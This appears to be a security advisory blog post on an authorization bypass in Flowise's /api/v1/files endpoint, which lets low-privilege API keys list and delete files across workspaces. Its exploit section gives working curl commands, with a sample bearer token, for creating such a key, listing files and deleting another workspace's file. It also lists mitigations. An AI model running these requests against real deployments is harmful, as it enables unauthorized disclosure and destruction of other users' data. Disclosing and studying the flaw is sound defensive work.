Listen to this Post
How the CVE Works
The vulnerability exists in the `/api/v1/files` route of Flowise. This route is intended to allow users to manage files associated with their workspaces. However, the application incorrectly enforces authorization for this endpoint.
The route is mounted with the `IdentityManager.checkFeatureByPlan(‘feat:files’)` middleware, which only verifies that the organization’s plan includes the file feature. Critically, it does not invoke the `checkPermission(…)` middleware that is used elsewhere to enforce granular, workspace-level permissions.
This oversight has two primary consequences. First, in the `getAllFiles` controller function, the application only uses `req.user.activeOrganizationId` to call getFilesListFromStorage(activeOrganizationId). This function recursively lists all files under the organization’s root storage directory, without filtering by the user’s active workspace.
Second, the `deleteFile` function is equally flawed. It reads the `activeWorkspaceId` but only uses it for storage quota bookkeeping. The actual file deletion operation is performed using a combination of `activeOrganizationId` and a user-controlled `path` parameter. This means an attacker can supply a path to a file in any workspace within the same organization.
In a local test environment, an API key was created with only the `[“tools:view”]` permission and bound to a workspace. This key was then able to:
– Successfully call `GET /api/v1/files` and receive a `200 OK` response.
– List a test file stored in a different workspace.
– Delete that file using DELETE /api/v1/files?path=<workspace-id>/poc-cross-workspace.txt, receiving a `200 OK` response.
– Confirm the file’s removal with a subsequent list request.
This demonstrates that any authenticated API key within an organization can list and delete files from any workspace, completely bypassing workspace isolation.
DailyCVE Form
Platform: Flowise
Version: Affected versions (see prediction)
Vulnerability: Authorization Bypass
Severity: High
date: 2026-08-04
Prediction: 2026-08-18
What Undercode Say
The core issue is the missing `checkPermission` middleware on the `/api/v1/files` routes. The current protection relies solely on a feature gate, which is insufficient for enforcing workspace-level access control.
Exploit
An attacker with a low-privileged API key can exploit this vulnerability. The following steps and commands demonstrate the exploit.
First, create an API key with an unrelated permission:
curl -i -b tamako.cookie \
-H 'x-request-from: internal' \
-H 'Content-Type: application/json' \
-d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
http://localhost:8080/api/v1/apikey
Record the returned API key.
List all files in the organization using the low-privileged key:
curl -i \ -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \ http://localhost:8080/api/v1/files
This request will return a `200 OK` response and list files from all workspaces within the organization.
Delete a file from a different workspace:
curl -i -X DELETE --get \ -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \ --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \ http://localhost:8080/api/v1/files
This also returns a `200 OK` response, confirming the file was deleted.
Protection
To mitigate this vulnerability, the following actions are recommended:
– Immediate Patching: Apply the official patch from the vendor as soon as it is released.
– Restrict API Key Permissions: Limit the creation and scope of API keys to only what is strictly necessary for each user or service.
– Network Segmentation: Isolate the Flowise instance and its API from untrusted networks to reduce the attack surface.
Impact
This vulnerability has a High severity. It allows any authenticated user with an API key to bypass workspace isolation and perform unauthorized actions. An attacker can:
– List files from any workspace within the organization, leading to unauthorized information disclosure.
– Delete files from any workspace, resulting in data loss and potential disruption of services.
This breaks the fundamental security model of workspace separation and can lead to significant data breaches and operational damage.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
